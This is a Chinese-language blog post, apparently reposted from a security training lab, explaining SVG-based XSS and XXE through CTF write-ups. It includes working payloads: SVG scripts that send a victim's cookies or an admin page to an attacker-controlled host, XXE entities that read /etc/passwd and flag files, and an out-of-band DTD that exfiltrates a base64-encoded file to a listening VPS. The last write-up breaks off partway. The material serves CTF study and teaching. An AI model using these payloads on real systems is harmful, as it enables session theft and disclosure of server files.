浅谈SVG的两个黑魔法-xxe

原文链接:https://www.zhihu.com/tardis/sogou/art/323315064

浅谈SVG的两个黑魔法

合天网安实验室

合天网安实验室

公众号:蚁景网安学院,免费领取网安资料工具包!

本文首发于“合天网安实验室”作者:Kawhi本文涉及靶场知识点:XXE漏洞分析与实践:实验:XXE漏洞分析与实践(合天网安实验室)XXE漏洞发生在程序解析XML输入时,没有禁止外部实体的加载,导致可以加载恶意的外部文件,可以造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、DoS攻击等危害。通过本课程的学习,你将掌握XXE漏洞的原理,学会XXE漏洞利用技术以及防御方法。前言之前在CTF比赛中遇到了一些关于SVG造成的安全问题,多亏诸多师傅的题目给我的一顿痛打让我又了解了不少新的知识和SVG在WEB安全中的应用,拓展了我的攻击面。SVG简介SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。SVG造成XSS直奔主题我们在一张SVG图片里面插入一个JavaScript代码。<svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" /> <script>alert(1)</script> </svg>我们用浏览器打开它会发现它会造成XSS。img刨根问底为什么这样的SVG图片会造成跨站脚本问题呢?这是因为SVG是支持通过脚本语言来动态访问和修改SVG的任何内容,这点和HTML中的DOM类似,或者说完全一致。因为SVG中的所有标签和属性都已经对应了已经定义的DOM,而这种脚本语言就是JavaScript,所以我们在SVG中插入JavaScript脚本是完全能够被解析的。可以看到在国际的SVG标准中定义了script标签的存在,总之XSS之所以能够执行是因为遵循了svg及xml的标准。img那么假设存在一个能够上传SVG的WEB服务器,并且没有对SVG内容进行严格过滤,这就很有可能造成XSS问题。CTF中的应用场景XSSME题目地址:https://xssrf.hackme.inndy.tw/本题是给admin发一封邮件,然后admin会查看你发送的邮件,很明显的xss盗取管理员cookie,但是这里经过fuzz发现过滤了如下字符:<script ) onmouseover 空格onload 空格onerror <iframe我们这里可以考虑用SVG标签来进行XSS,比如:<svg/onload=alert(1)>这里我们可以发送到VPS测试一下是否有效<svg/onload="document.location='http://vps-ip:1234'">imgvps成功接收到信息img然后再获取cookie即可<svg/onload="document.location='http://vps-ip:1234/?'+document.cookie">Teaser Confidence CTF 2019:Web 50本题是一道比较经典的利用svg去构造xss的题目,但是由于题目并没有开源,所以没办法复现,这里主要学习他的思路。根据题目描述,有两个功能,一个是报告BUG,一个是修改个人信息,然后管理员会查看该域名下的某处页面,这里主要是通过xss获取admin页面Secret表单的值来获取flag。在个人资料页面中,我们可以将头像上传到服务器,服务器将检查此文件是否为有效图像,并且大小必须为100x100。我们如果将有效的PNG图片重命名为1.html,然后上传。但是,HTTP内容类型仍为image/png,那么这里有个问题就是如果内容类型为image/png,则将此链接发送给admin不会触发XSS有效负载。所以这里就可以使用svg作为媒介来构造xss,去获取secret的值,这里直接贴一下payload<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve"> ... <g> <polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon> <script type="text/javascript"> var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { var xhr2 = new XMLHttpRequest(); xhr2.open("POST", "http://XXXX.burpcollaborator.net/"); xhr2.send(xhr.responseText); } } xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin"); xhr.withCredentials = true; xhr.send(); </script> </g> ... </svg>这里使用了burpcollaborator来外带数据,Burp Suite在1.7之后的版本自带了这个功能,获取burpcollaborator的地址如图所示:img最后在Reportbug处提交图片即可获得flag,这里借用一下郁离歌师傅的图。imgSVG造成XXE前面说了SVG是基于XML的矢量图,因此可以支持Entity(实体)功能,因此可以用来XXE。CTF中的应用场景这里从两道经典的CTF题目来学习如何XXE并且结合SVG,这里分为有回显和无回显两种情况。有回显的情况svgmagic(BsidesSF CTF 2019)github题目源码:传送门buu平台也有上这道题目打开页面img打开页面就提示Convert SVG to PNG with Magic这里我们首先想到的思路就是文件上传那些步骤,一句话木马以及.htaccess等等,但是多次上传利用无果,因为会报一个500的错误,这里的话可以利用SVG配合XXE去读取他的一个文件。我们直接读取/etc/passwd试一下:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>我们把上面这段代码保存为1.svg,并上传。img可以发现成功回显了带有/etc/passwd内容的图片,但是图像太小,无法容纳所有内容,这里我们可以调整他的width宽度,调大一点就可以看到所有的内容了。还有个问题就是我们并不知道flag的路径,而/proc/self/pwd/代表的是当前路径,可以构造/proc/self/pwd/flag.txt读取文件。最后payload如下:<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE note [ <!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" > ]> <svg height="100" width="1000"> <text x="10" y="20">&file;</text> </svg>我们保存为2.svg上传,发现成功读取到flag。img无回显的情况在说这个点之前,我们先来看看普通XXE无回显是如何外带数据的,这里我在本地演示一下:先在本地PHPStudy写入无回显处理XML的代码xml.php<?php libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?> 然后在自己的VPS上放置xml.dtd<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/WINDOWS/win.ini"> <!ENTITY % start "<!ENTITY % send SYSTEM 'http://ip:1234/?%file;'>">这里有几个需要注意的点:ip换成自己的vps的ip这里的%会被xml解析成%,如果直接用%的话我本地会报错。注意这里使用伪协议读取文件内容,是因为xml解析器支持使用php://filter进行编码,至于为什么要使用伪协议对内容进行一个编码呢,我自己在本地做测试的时候,发现如果文件的内容如果只是简单的字母数字不加伪协议也可以,但是一旦带有换行或者特殊的符号就会爆一个warning invaild url,所以保险起见还是加上,最后对文件内容做一个base64的解码就行。最后我们POST提交的payload<?xml version="1.0"?> <!DOCTYPE Note [ <!ENTITY % remote SYSTEM "http://ip/xml.dtd"> %remote; %start; %send; ]>这里的ip同样换成自己的vps的ip下一步在VPS上开启监听1234端口nc -lvp 1234然后我们抓xml.php的POST包并发送payloadimg可以看到在vps上成功接收到了我本地C:/WINDOWS/win.ini这个文件的内容。img我们来梳理一下他的整个调用过程首先我们payload中的% remote去获取vps上的xml.dtd然后xml.dtd中的% start去调用% file``% file获取服务器上的C:/WINDOWS/win.ini文件并将他base64编码最后通过% send将数据发送到vps监听的1234端口上这就是XXE实现外带数据的整个流程,那么这个如何结合SVG呢,这里通过一道我之前打比赛的一道题为例子:svgggggg!(DozerCTF2020)这道题当时比赛的时候没有做出来,因为当时水平有限,并没有想到svg也是xml格式,可以用来XXE,这道题确实质量可以,学到了很多新的姿势,下面给出我复现的过程。题目给的两个hint:用户r1ck的操作记录在哪儿来着如果你发现了sql注入,直接getshell吧,flag在/app目录里复现过程如下:打开网页,有一个框要求输入URL,然后检查URL指向的file是不是svg图片,如果请求的文件不是svg的话就会返回Unauthorized type[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OR8XDE9y-1668865962922)(https://link.zhihu.com/?target=https%3A//svg.digi.ninja/)]https://github.com/digininja/svg_xss参考链接http://yulige.top/?p=665https://www.rootnetsec.com/bsidessf-svgmagick/https://www.freebuf.com/vuls/207639.html

编辑于 2020-12-01 · 著作权归作者所有

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值